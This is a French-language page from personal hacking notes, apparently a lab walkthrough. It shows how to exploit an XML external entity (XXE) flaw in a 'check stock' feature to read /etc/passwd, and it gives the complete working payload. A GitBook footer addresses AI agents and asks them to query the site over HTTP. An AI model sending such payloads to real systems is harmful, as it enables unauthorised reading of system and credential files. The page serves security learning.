> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-file-read-via-external-entities.md).

# Lecture de fichier XXE via entités externes

### Exploitation de XXE à l’aide d’entités externes pour récupérer des fichiers

Exploitez une vulnérabilité XXE en déclarant une entité externe pour récupérer le contenu d’un fichier (ici `/etc/passwd`) du **Vérifier le stock** fonctionnalité qui analyse du XML et renvoie des valeurs inattendues.

<figure><img src="/files/fa3ee8a7b22200d833e9e2f394280b291b1d9bf0" alt=""><figcaption></figcaption></figure>

La fonctionnalité envoie du XML comme ceci :

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/781c933591eb024cb20f97baabada3d5f9b3d4e2" alt=""><figcaption></figcaption></figure>

Si la valeur numérique de `<productId>` est remplacée par une chaîne, cette valeur est répercutée dans la réponse (utile pour l’exploitation) :

```xml
<productId>
test
</productId>
```

<figure><img src="/files/b85cec35801e4d80706ad78d7eb14f94998fa2c2" alt=""><figcaption></figcaption></figure>

1. Déclarez une entité externe dans une instruction DOCTYPE qui pointe vers le fichier système.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Appelez cette entité dans le `<productId>` champ renvoyé par l’application.

```
&myFile;
```

3. La réponse doit alors contenir le contenu du fichier cible (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/2d197bf2fbc7a844da60ecbd598c9c3450c98bd1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
